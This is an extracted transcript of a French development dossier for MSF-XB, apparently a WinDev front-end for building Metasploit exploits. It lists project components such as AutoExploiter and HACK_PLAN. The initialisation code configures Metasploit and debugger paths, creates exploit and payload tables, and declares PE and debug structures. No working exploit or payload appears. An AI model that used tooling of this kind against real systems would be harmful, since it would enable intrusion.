Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet...

1111
Dossier de d veloppement Application r alis e par JA-PSI(http://www.ja-psi.fr) 26/10/2008 tel : fax :

Transcript of Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet...

Page 1: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Dossier de développement

Application réalisée par JA-PSI(http://www.ja-psi.fr)

26/10/2008

tel : fax :

Page 2: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB En-têtePartie 1

26/10/2008 2

Partie 1En-tête

Page 3: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB En-têtePartie 1

26/10/2008 3

MSF eXploit BuilderJerome Athias

http://www.ja-psi.fr

Page 4: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 4

Partie 2Projet

Page 5: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 5

Projet Graphe

Page 6: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 6

Page 7: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 7

Page 8: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 8

Projet Informations générales

MSF-XB Ce projet gère ...

Répertoire G:\Mes Projets\MSF-XB11

Première fenêtre MSFXB_Menu

Analyse associée G:\Mes Projets\MSF-XB11\MSF-XB.wd9\MSF-XB.wda

Gabarit 120 MediaPlayer

Projet Liste des éléments du projet

Nom Libellé

Apropos

AutoExploiter

EXPLOIT_PARAMETERS

FEN_MAIN_WDDEBUG

FEN_msfpescan

Fiche_et_table_EXPLOIT_HEADER

HACK_PLAN

IPCmanipulator

MSFXB_Assistant

MSFXB_Editor

Page 9: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 9

Nom Libellé

MSFXB_Menu

MSFXB_Stats

TABLE_ASCII

WinDevDialogBox

WinDevMessageBox

ETAT_EXPLOIT_CODE Exploit Code

CiExplore

C_cPE

WDDos

Help MSF-XB

Procedures globales de MSF-XB

WDDEBUG

FI_MenuHWinDevHelp

Accueil

Procédures_globales_de_MSF-XB_Navigateur

Statistiques

Nombre de fenêtres : 16Nombre de pages : 1Nombre de modèles : 0Nombre de modèles de champs : 0Nombre d'états : 1Nombre de classes : 3Nombre de requêtes : 0Nombre de fichiers d'aide : 1Nombre de collections de procédures : 3

Page 10: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 10

Statistiques

Nombre de modélisations souples : 0Nombre de test : 0

Projet Liste des Perso-Dossiers

Perso-dossier Nom

Projet MSF-XB Apropos

AutoExploiter

EXPLOIT_PARAMETERS

FEN_MAIN_WDDEBUG

FEN_msfpescan

Fiche_et_table_EXPLOIT_HEADER

HACK_PLAN

IPCmanipulator

MSFXB_Assistant

MSFXB_Editor

MSFXB_Menu

MSFXB_Stats

TABLE_ASCII

WinDevDialogBox

WinDevMessageBox

Page 11: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 11

Perso-dossier Nom

ETAT_EXPLOIT_CODE

CiExplore

C_cPE

WDDos

Help MSF-XB

Procedures globales de MSF-XB

WDDEBUG

FI_MenuHWinDevHelp

Accueil

Projet Tableau de bord

Tableau de bord du projet

Page 12: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 12

GénéralMSF-XB Ce projet gère ...

Date de livraison <Pas de date>

Statistiques

Nombre de fenêtres : 16Nombre de pages : 1Nombre d'états : 1Nombre de classes : 3Nombre de fichiers d'aide : 1Nombre de collections de procédures : 3

Qualité du projetNote 60 / 100

Détail Pas de document dans le projet Pas de modélisation ni de schéma UML dans le projet

Date du dernier nettoyage du projet : 13/12/2006

Date de la dernière sauvegarde du projet : 13/08/2007

Page 13: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 13

Incidents et Tests0 incident non lu affecté à JA-PSI 0 incident affecté à JA-PSI

0 test validé parmi 0 test au total

AnalyseAnalyse G:\Mes Projets\MSF-XB11\MSF-XB.wd9\MSF-XB.wda

DiversLive Data actif 2 Langues Utilisation de la charte de programmation standard Gabarit du projet : 120 MediaPlayer Grisage des Fenêtres Inactives actif Lancement de "Etats et Requêtes" interdit

Tâches, demandes, etc.0 tâche 0 demande 0 message non lu parmi 0 message au total 0 règle non lue parmi 0 règle au total

OptimisationIl n'y a pas d'élément orphelin dans le projet. Il y a du code mort dans le projet. Il n'est pas encore nécessaire de lancer le profiler.

Page 14: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 14

ConfigurationsConfiguration MSF-XB

Génération

Exécutable MSF-XB (1.2)Bibliothèque MSF-XB (1.2)Archive Java MSF-XB (1.0 Beta 3)Service Web MSF-XB

Composants

CCMenuCCFeedback

Statistiques

Nombre de fenêtres : 16Nombre de pages : 1Nombre d'états : 1Nombre de classes : 3Nombre de fichiers d'aide : 1Nombre de collections de procédures : 3

Configuration Site

Génération

Site Site

Composants

CCMenuCCFeedback

Statistiques

Nombre de fenêtres : 16Nombre de pages : 1

Page 15: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 15

Statistiques

Nombre d'états : 1Nombre de classes : 3Nombre de fichiers d'aide : 1Nombre de collections de procédures : 3

Projet Code

Initialisation de MSF-XBCONSTANT

FILE_SHARE_READ = 0x00000001PAGE_READONLY = 0x02SEC_IMAGE = 0x1000000SECTION_MAP_READ = 0x0004FILE_MAP_READ = SECTION_MAP_READINSTRUCT_LENGTH = 48OUT_OF_BLOCK = 0UNKNOWN_OPCODE = -1GENERIC_READ = 0x80000000GENERIC_WRITE =0x40000000GENERIC_EXECUTE =0x20000000GENERIC_ALL =0x10000000CREATE_NEW= 1CREATE_ALWAYS= 2OPEN_EXISTING = 3OPEN_ALWAYS = 4TRUNCATE_EXISTING= 5FILE_ATTRIBUTE_NORMAL =0x00000080 PAGE_READWRITE= 0x04 SECTION_MAP_WRITE= 0x0002 FILE_MAP_WRITE= SECTION_MAP_WRITEIMAGE_DOS_SIGNATURE = 0x5A4DIMAGE_NT_SIGNATURE = 0x00004550

MEM_COMMIT= 0x1000 MEM_RESERVE= 0x2000

Page 16: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 16

PAGE_EXECUTE_READWRITE = 0x40

DEBUG_PROCESS = 0x1DEBUG_ONLY_THIS_PROCESS = 0x2CREATE_SUSPENDED = 0x4DETACHED_PROCESS = 0x8CREATE_NEW_CONSOLE = 0x10NORMAL_PRIORITY_CLASS = 0x20IDLE_PRIORITY_CLASS = 0x40HIGH_PRIORITY_CLASS = 0x80REALTIME_PRIORITY_CLASS = 0x100CREATE_NEW_PROCESS_GROUP = 0x200CREATE_UNICODE_ENVIRONMENT = 0x400CREATE_SEPARATE_WOW_VDM = 0x800CREATE_SHARED_WOW_VDM = 0x1000CREATE_FORCEDOS = 0x2000CREATE_DEFAULT_ERROR_MODE = 0x4000000CREATE_NO_WINDOW = 0x8000000

EXCEPTION_DEBUG_EVENT = 0x1CREATE_THREAD_DEBUG_EVENT = 0x2CREATE_PROCESS_DEBUG_EVENT = 0x3EXIT_THREAD_DEBUG_EVENT = 0x4EXIT_PROCESS_DEBUG_EVENT = 0x5LOAD_DLL_DEBUG_EVENT = 0x6UNLOAD_DLL_DEBUG_EVENT = 0x7OUTPUT_DEBUG_STRING_EVENT = 0x8RIP_EVENT = 0x9

EXCEPTION_GUARD_PAGE_VIOLATION = 0x80000001EXCEPTION_DATATYPE_MISALIGNMENT = 0x80000002EXCEPTION_BREAKPOINT = 0x80000003EXCEPTION_SINGLE_STEP = 0x80000004EXCEPTION_ACCESS_VIOLATION = 0xC0000005EXCEPTION_IN_PAGE_ERROR = 0xC0000006EXCEPTION_INVALID_HANDLE = 0xC0000008EXCEPTION_NO_MEMORY = 0xC0000017EXCEPTION_ILLEGAL_INSTRUCTION = 0xC000001DEXCEPTION_NONCONTINUABLE_EXCEPTION = 0xC0000025EXCEPTION_INVALID_DISPOSITION = 0xC0000026EXCEPTION_ARRAY_BOUNDS_EXCEEDED = 0xC000008CEXCEPTION_FLOAT_DENORMAL_OPERAND = 0xC000008DEXCEPTION_FLOAT_DIVIDE_BY_ZERO = 0xC000008EEXCEPTION_FLOAT_INEXACT_RESULT = 0xC000008F

Page 17: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 17

EXCEPTION_FLOAT_INVALID_OPERATION = 0xC0000090EXCEPTION_FLOAT_OVERFLOW = 0xC0000091EXCEPTION_FLOAT_STACK_CHECK = 0xC0000092EXCEPTION_FLOAT_UNDERFLOW = 0xC0000093EXCEPTION_INTEGER_DIVIDE_BY_ZERO = 0xC0000094EXCEPTION_INTEGER_OVERFLOW = 0xC0000095EXCEPTION_PRIVILEGED_INSTRUCTION = 0xC0000096EXCEPTION_STACK_OVERFLOW = 0xC00000FDEXCEPTION_CONTROL_C_EXIT = 0xC000013A

XCEPTION_CONTINUABLE = 0EXCEPTION_NONCONTINUABLE = 1

DBG_CONTINUE = 0x10002DBG_TERMINATE_THREAD = 0x40010003DBG_TERMINATE_PROCESS = 0x40010004DBG_CONTROL_C = 0x40010005DBG_CONTROL_BREAK = 0x40010008DBG_EXCEPTION_NOT_HANDLED = 0x80010001

SIZE_OF_80387_REGISTERS = 80

MAXIMUM_SUPPORTED_EXTENSION = 512

CONTEXT_i386 = 0x00010000CONTEXT_i486 = 0x00010000

NoTabulation = 0x0Tabulation = 0x1MasmSyntax = 0x000GoAsmSyntax = 0x100NasmSyntax = 0x200PrefixedNumeral = 0x10000SuffixedNumeral = 0x00000

// CONTEXT_CONTROL = OUBinaire(0x00010000,0x00000001)

// CONTEXT_INTEGER = (CONTEXT_i386 ou 0x00000002) // AX, BX, CX, DX, SI, DI// CONTEXT_SEGMENTS = (CONTEXT_i386 OU 0x00000004) // DS, ES, FS, GS// CONTEXT_FLOATING_POINT = (CONTEXT_i386 OU 0x00000008) // 387 state// CONTEXT_DEBUG_REGISTERS = (CONTEXT_i386 OU 0x00000010) // DB 0-3,6,7// CONTEXT_EXTENDED_REGISTERS = (CONTEXT_i386 OU 0x00000020) // cpu specific extensions

//CONTEXT_FULL = OUBinaire(oubinaire (OUBinaire(0x00010000,0x00000001),OUBinaire(0x00010000,0x00000002),OUBinaire(0x00010000,0x00000004)))

Page 18: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 18

// CONTEXT_FULL = (CONTEXT_CONTROL ou CONTEXT_INTEGER OU CONTEXT_SEGMENTS)////CONTEXT_ALL = (CONTEXT_CONTROL OU CONTEXT_INTEGER OU CONTEXT_SEGMENTS OU CONTEXT_FLOATING_POINT OU CONTEXT_DEBUG_REGISTERS OU CONTEXT_EXTENDED_REGISTERS)

EXCEPTION_MAXIMUM_PARAMETERS = 15FIN

GLOBALSI PAS EnModeWeb ALORS

SI Taille(LigneCommande()) > 255 ALORS FinProgramme("Overflow? :-)")FIN

//LANGUE D'EXECUTION// Nation(3) //ENGLISH// si RegistreLit("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NLS\Language\", "InstallLanguage") = "040C" alors// si pas enmodetest() alors nation(nationFrançais)// FIN

//ENGLISHNation(nationAnglais)

fRepCrée("TEMP")

//********************************************************************************************************************************COMPIL_JAVA is int=0 //1 si compilé en Java

nCOLORATION_SYNTAXIQUE_ACTIVE is int=0

gsStrIPLAN is stringgsStrIPWAN is string

//Création du Fichier MSF-XB.INI (c'est plus sur de ne pas le distribuer avec l'install à cause des chemins différents en fonction de la langue)

SI fTaille(ComplèteRep(fRepEnCours()) + "MSF-XB.INI")<=0 ALORSnNuFic is int=fOuvre( ComplèteRep(fRepEnCours()) + "MSF-XB.INI", foCréationSiInexistant+foEcriture )SI nNuFic=-1 ALORS

Erreur(ErreurInfo(errMessage))SINON

fEcritLigne(nNuFic,"[CONFIG]")fEcritLigne(nNuFic,"MSF2_PATH="+Caract(34)+ SysRep(srProgramFiles)+"\Metasploit\Framework2\" +Caract(34))fEcritLigne(nNuFic,"MSF3_PATH="+Caract(34)+ SysRep(srProgramFiles)+"\Metasploit\Framework3\" +Caract(34))

Page 19: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 19

fEcritLigne(nNuFic,"MSF3_TRUNK_PATH="+Caract(34)+ SysRep(srProgramFiles)+"\Metasploit\Framework3\framework\msf3-trunk\" +Caract(34))

fEcritLigne(nNuFic,"DEBUGGER_PATH="+Caract(34)+ ComplèteRep(fRepEnCours())+"TOOLZ\odbg110\OLLYDBG.EXE" +Caract(34))FINfFerme(nNuFic)

FIN

//Lecture du Fichier MSF-XB.INIsCheminINI is string=CompleteDir(fRepEnCours())+"MSF-XB.INI"

//gsCheminMSF2 is string=INILit("CONFIG", "MSF2_PATH", "C:\Program Files\Metasploit Framework\", sCheminINI) //Ancien Chemin 2.6gsCheminMSF2 is string=INILit("CONFIG", "MSF2_PATH", SysRep(srProgramFiles)+"\Metasploit\Framework2\", sCheminINI) //2.7//C:\Program Files\Metasploit\Framework3\gsCheminMSF3 is string=INILit("CONFIG", "MSF3_PATH", SysRep(srProgramFiles)+"\Metasploit\Framework3\", sCheminINI) //3.x

//On vérifie que les chemins existent (nouvelles versions, installation non par défaut/.INI non édité...)// si pas fRépertoireExiste(gsCheminMSF2) alors//erreur("Erreur: le répertoire du Metasploit2 spécifié dans MSF-XB.INI ["+gsCheminMSF2+"] n'existe pas."+RC+"Celà signifie probablement que:"+RC+"* MSF2 n'est pas installé"+RC+"* MSF2 est installé dans un autre répertoire (installation différente de celle par défaut / nouvelle version installée)"+RC+"* ... ?")// FIN

SI PAS fRépertoireExiste(gsCheminMSF3) ALORSgsCheminMSF3=fRepSélecteur(SysRep(srProgramFiles), "Répertoire du Framework3", "Sélectionner le répertoire Framework3")SI gsCheminMSF3<>"" ALORS

INIEcrit("CONFIG","MSF3_PATH",Caract(34)+ ComplèteRep(gsCheminMSF3) +Caract(34),sCheminINI)SINON

SI OuiNon("Télécharger le Metasploit Framework 3?") ALORSLanceAppliAssociée("http://framework-mirrors.metasploit.com/msf/download.html")

FINFIN

FIN

//si pas fFichierExiste(INILit("CONFIG","DEBUGGER_PATH", Caract(34)+ ComplèteRep(fRepEnCours())+"TOOLZ\odbg110\OLLYDBG.EXE"+Caract(34), "MSF-XB.INI") ) alors

SI fTaille( INILit("CONFIG","DEBUGGER_PATH", Caract(34)+ ComplèteRep(fRepEnCours())+"TOOLZ\odbg110\OLLYDBG.EXE"+Caract(34), sCheminINI) )<=0 ALORS

sCheminDebuggerTemp is string=fSélecteur(SysRep(srProgramFiles),"","Exécutable du débogueur","Fichier Exécutable (*.EXE)"+TAB+"*.exe","exe")SI sCheminDebuggerTemp<>"" ALORS

INIEcrit("CONFIG","DEBUGGER_PATH",Caract(34)+ sCheminDebuggerTemp +Caract(34),sCheminINI)SINON

SI OuiNon("Télécharger un débogueur?") ALORSLanceAppliAssociée("http://ollydbg.de/")

FIN

Page 20: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 20

FINFIN

gsCheminRuby is string=gsCheminMSF3+"bin\ruby.exe"SI fTaille(gsCheminRuby) <= 0 ALORS

//Recherche automatique du fichiergsCheminRuby= fRechercheFichier(gsCheminMSF3, "ruby.exe")

FIN

MyDos est un WDDos//Instance de la classe WDDos qui permet d'exécuter des commandes/programmes sous DOS sans voir de fenêtre comme avec un .BAT !!! :-))

FichierTempo is string="TEMP.TXT" //Fichier temporaire de traitement

//----------------- R A D W i n D e v ---------------// Création des fichiersstrErreurFic is string="Impossible de créer ou d'initialiser l'accès au fichier : "

SI PAS HCréationSiInexistant(ASM_CODES) ALORS Info(strErreurFic+"ASM_CODES",HErreurInfo())SI PAS HCréationSiInexistant(COMMANDE) ALORS Info(strErreurFic+"COMMANDE",HErreurInfo()) //Commandes post-exploitationSI PAS HCréationSiInexistant(COMMANDS) ALORS Info(strErreurFic+"COMMANDS",HErreurInfo()) //Commandes des différents protocolesSI PAS HCréationSiInexistant(EDITEUR) ALORS Info(strErreurFic+"EDITEUR",HErreurInfo())SI PAS HCréationSiInexistant(EXPLOIT) ALORS Info(strErreurFic+"EXPLOIT",HErreurInfo())SI PAS HCréationSiInexistant(EXPLOIT_PAYLOAD) ALORS Info(strErreurFic+"EXPLOIT_PAYLOAD",HErreurInfo())SI PAS HCréationSiInexistant(HEADER) ALORS Info(strErreurFic+"HEADER",HErreurInfo())SI PAS HCréationSiInexistant(IPINDEX) ALORS Info(strErreurFic+"IPINDEX",HErreurInfo())SI PAS HCréationSiInexistant(LANG) ALORS Info(strErreurFic+"LANG",HErreurInfo()) //Langues=Locales de WindowsSI PAS HCréationSiInexistant(OPcode) ALORS Info(strErreurFic+"OPCODE",HErreurInfo())SI PAS HCréationSiInexistant(PARAMETRE) ALORS Info(strErreurFic+"PARAMETRE",HErreurInfo())SI PAS HCréationSiInexistant(PARAMETRE_EXPLOIT) ALORS Info(strErreurFic+"PARAMETRE_EXPLOIT",HErreurInfo())SI PAS HCréationSiInexistant(PARAMETRE_PAYLOAD) ALORS Info(strErreurFic+"PARAMETRE_PAYLOAD",HErreurInfo())SI PAS HCréationSiInexistant(PAYLOAD) ALORS Info(strErreurFic+"PAYLOAD",HErreurInfo())SI PAS HCréationSiInexistant(WHITEPAPER) ALORS Info(strErreurFic+"WHITEPAPER",HErreurInfo())//------------------------ R A D ------------------------

EFLStruct est une structurenOF_ est un entier sur 1 octetnSF_ est un entier sur 1 octetnZF_ est un entier sur 1 octetnAF_ est un entier sur 1 octetnPF_ est un entier sur 1 octetnCF_ est un entier sur 1 octetnTF_ est un entier sur 1 octetnIF_ est un entier sur 1 octet

Page 21: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 21

nDF_ est un entier sur 1 octetnNT_ est un entier sur 1 octetnRF_ est un entier sur 1 octetnAlignment est un entier sur 1 octet

FIN

MEMORYTYPE est une structurenBaseRegister est un entier sur 4 octetsnIndexRegister est un entier sur 4 octetsnScale est un entier sur 4 octetsnDisplacement est un entier sur 4 octets

FIN

INSTRTYPE est une structurenCategory est un entier sur 4 octetsnOpcode est un entier sur 4 octetsMnemonic est une chaîne fixe sur 16nBranchType est un entier sur 4 octetsstFlags est un EFLStructnAddrValue est un entier sur 4 octetsnImmediat est un entier sur 4 octetsnImplicitModifiedRegs est un entier sur 4 octets

FIN

ARGTYPE est une structureArgMnemonic est une chaîne fixe sur 16nArgType est un entier sur 4 octetsnArgSize est un entier sur 4 octetsnAccessMode est un entier sur 4 octetsstMemory est un MEMORYTYPE

FIN

_Disasm est une structureEIP est un entier sur 4 octetsVirtualAddr est un entier sur 8 octetsSecurityBlock est un entier sur 4 octetsCompleteInstr est une chaîne fixe sur 48Archi est un entier sur 4 octetsnOptions est un entier sur 4 octetsstInstruction est un INSTRTYPEstArgument1 est un ARGTYPEstArgument2 est un ARGTYPEstArgument3 est un ARGTYPE

FIN

IMAGE_EXPORT_DIRECTORY est une structure

Page 22: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 22

Characteristics est un entier sur 4 octetsTimeDateStamp est un entier sur 4 octetsMajorVersion est un entier sur 2 octetsMinorVersion est un entier sur 2 octetsName est un entier sur 4 octetsBase est un entier sur 4 octetsNumberOfFunctions est un entier sur 4 octetsNumberOfNames est un entier sur 4 octetsAddressOfFunctions est un entier sur 4 octetsAddressOfNames est un entier sur 4 octetsAddressOfNameOrdinals est un entier sur 4 octets

FIN

IMAGE_DATA_DIRECTORY est une structureVirtualAddress est un entier //Type C : DWORDSize est un entier //Type C : DWORD

FIN

IMAGE_OPTIONAL_HEADER est une structureMagic est un entier sur 2 octets //Type C : WORDMajorLinkerVersion est un caractère //Type C : BYTEMinorLinkerVersion est un caractère //Type C : BYTESizeOfCode est un entier //Type C : DWORDSizeOfInitializedData est un entier //Type C : DWORDSizeOfUninitializedData est un entier //Type C : DWORDAddressOfEntryPoint est un entier //Type C : DWORDBaseOfCode est un entier //Type C : DWORDBaseOfData est un entier //Type C : DWORDImageBase est un entier //Type C : DWORDSectionAlignment est un entier //Type C : DWORDFileAlignment est un entier //Type C : DWORDMajorOperatingSystemVersion est un entier sur 2 octets //Type C : WORDMinorOperatingSystemVersion est un entier sur 2 octets //Type C : WORDMajorImageVersion est un entier sur 2 octets //Type C : WORDMinorImageVersion est un entier sur 2 octets //Type C : WORDMajorSubsystemVersion est un entier sur 2 octets //Type C : WORDMinorSubsystemVersion est un entier sur 2 octets //Type C : WORDWin32VersionValue est un entier //Type C : DWORDSizeOfImage est un entier //Type C : DWORDSizeOfHeaders est un entier //Type C : DWORDCheckSum est un entier //Type C : DWORDSubsystem est un entier sur 2 octets //Type C : WORDDllCharacteristics est un entier sur 2 octets //Type C : WORDSizeOfStackReserve est un entier //Type C : DWORDSizeOfStackCommit est un entier //Type C : DWORDSizeOfHeapReserve est un entier //Type C : DWORD

Page 23: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 23

SizeOfHeapCommit est un entier //Type C : DWORDLoaderFlags est un entier //Type C : DWORDNumberOfRvaAndSizes est un entier //Type C : DWORDDataDirectory est un tableau fixe de 16 IMAGE_DATA_DIRECTORY //IMAGE_DATA_DIRECTORY est un tableau de 16 tableau de 16 autre structure

FIN

IMAGE_FILE_HEADER est une structureMachine est un entier sur 2 octets //Type C : WORDNumberOfSections est un entier sur 2 octets //Type C : WORDTimeDateStamp est un entier //Type C : DWORDPointerToSymbolTable est un entier //Type C : DWORDNumberOfSymbols est un entier //Type C : DWORDSizeOfOptionalHeader est un entier sur 2 octets //Type C : WORDCharacteristics est un entier sur 2 octets //Type C : WORD

FIN

IMAGE_NT_HEADERS est une structureSignature est un entierFileHeader est une IMAGE_FILE_HEADEROptionalHeader est un IMAGE_OPTIONAL_HEADER

FIN

IMAGE_DOS_HEADER est une structuree_magic est un entier sur 2 octets //Type C : WORDe_cblp est un entier sur 2 octets //Type C : WORDe_cp est un entier sur 2 octets //Type C : WORDe_crlc est un entier sur 2 octets //Type C : WORDe_cparhdr est un entier sur 2 octets //Type C : WORDe_minalloc est un entier sur 2 octets //Type C : WORDe_maxalloc est un entier sur 2 octets //Type C : WORDe_ss est un entier sur 2 octets //Type C : WORDe_sp est un entier sur 2 octets //Type C : WORDe_csum est un entier sur 2 octets //Type C : WORDe_ip est un entier sur 2 octets //Type C : WORDe_cs est un entier sur 2 octets //Type C : WORDe_lfarlc est un entier sur 2 octets //Type C : WORDe_ovno est un entier sur 2 octets //Type C : WORDe_res est un tableau fixe de 4 entiers sur 2 octetse_oemid est un entier sur 2 octets //Type C : WORDe_oeminfo est un entier sur 2 octets //Type C : WORDe_res2 est un tableau fixe de 10 entiers sur 2 octetse_lfanew est un entier //Type C : LONG

FIN

Page 24: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 24

STARTUPINFOA est une structurecb est un entier //Type C : DWORDlpReserved est un entier //Type C : LPSTRlpDesktop est un entier //Type C : LPSTRlpTitle est un entier //Type C : LPSTRdwX est un entier //Type C : DWORDdwY est un entier //Type C : DWORDdwXSize est un entier //Type C : DWORDdwYSize est un entier //Type C : DWORDdwXCountChars est un entier //Type C : DWORDdwYCountChars est un entier //Type C : DWORDdwFillAttribute est un entier //Type C : DWORDdwFlags est un entier //Type C : DWORDwShowWindow est un entier sur 2 octets //Type C : WORDcbReserved2 est un entier sur 2 octets //Type C : WORDlpReserved2 est un entier //Type C : LPBYTEhStdInput est un entier //Type C : HANDLEhStdOutput est un entier //Type C : HANDLEhStdError est un entier //Type C : HANDLE

FIN

PROCESS_INFORMATION est une structurehProcess est un entier //Type C : HANDLEhThread est un entier //Type C : HANDLEdwProcessId est un entier //Type C : DWORDdwThreadId est un entier //Type C : DWORD

FIN

// Declaration pour les debug eventsDEBUG_EVENT_HEADER est une structure

DebugEventCode est un entierProcessId est un entierThreadId est un entier

FIN

DEBUG_EXCEPTION_DEBUG_INFO est une structureHEADER est un DEBUG_EVENT_HEADERExceptionCode est un entier sans signe sur 4 octetsExceptionFlags est un entier sans signe sur 4 octetspExceptionRecord est un entierExceptionAddress est un entier sans signe sur 4 octetsNumberParameters est un entier sans signe sur 4 octetseExceptionInformation est un tableau fixe de EXCEPTION_MAXIMUM_PARAMETERS entiers sans signe sur 4 octetsdwFirstChance est un entier

FIN

Page 25: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 25

DEBUG_CREATE_THREAD_DEBUG_INFO est une structureHEADER est un DEBUG_EVENT_HEADERhThreadest est un entierlpThreadLocalBase est un entierlpStartAddress est un entier

FIN

DEBUG_CREATE_PROCESS_DEBUG_INFO est une structureHEADER est un DEBUG_EVENT_HEADERhfile est un entierhProcess est un entierhThread est un entierlpBaseOfImage est un entierdwDebugInfoFileOffset est un entiernDebugInfoSize est un entierlpThreadLocalBase est un entierlpStartAddress est un entierlpImageName est un entierfUnicode est un entier sur 2 octets

FIN

DEBUG_EXIT_THREAD_DEBUG_INFO est une structureHEADER est un DEBUG_EVENT_HEADERdwExitCode est un entier

FIN

DEBUG_EXIT_PROCESS_DEBUG_INFO est une structureHEADER est un DEBUG_EVENT_HEADERdwExitCode est un entier

FIN

DEBUG_LOAD_DLL_DEBUG_INFO est une structureHEADER est un DEBUG_EVENT_HEADERhfile est un entierlpBaseOfDll est un entierdwDebugInfoFileOffset est un entiernDebugInfoSize est un entierlpImageName est un entierfUnicode est un entier sur 2 octets

FIN

DEBUG_UNLOAD_DLL_DEBUG_INFO est une structureHEADER est un DEBUG_EVENT_HEADERlpBaseOfDll est un entier

FIN

Page 26: Dossier de développement - shpud.comshpud.com/modbuilder.pdf · Projet MSF-XB Partie 2 Projet 26/10/2008 8 Projet Informations générales MSF-XB Ce projet gère ... Répertoire

Projet MSF-XB ProjetPartie 2

26/10/2008 26

DEBUG_OUTPUT_DEBUG_STRING_INFO est une structureHEADER est un DEBUG_EVENT_HEADERlpDebugStringData est un entierfUnicode est un entier sur 2 octetsnDebugStringLength est un entier sur 2 octets

FIN

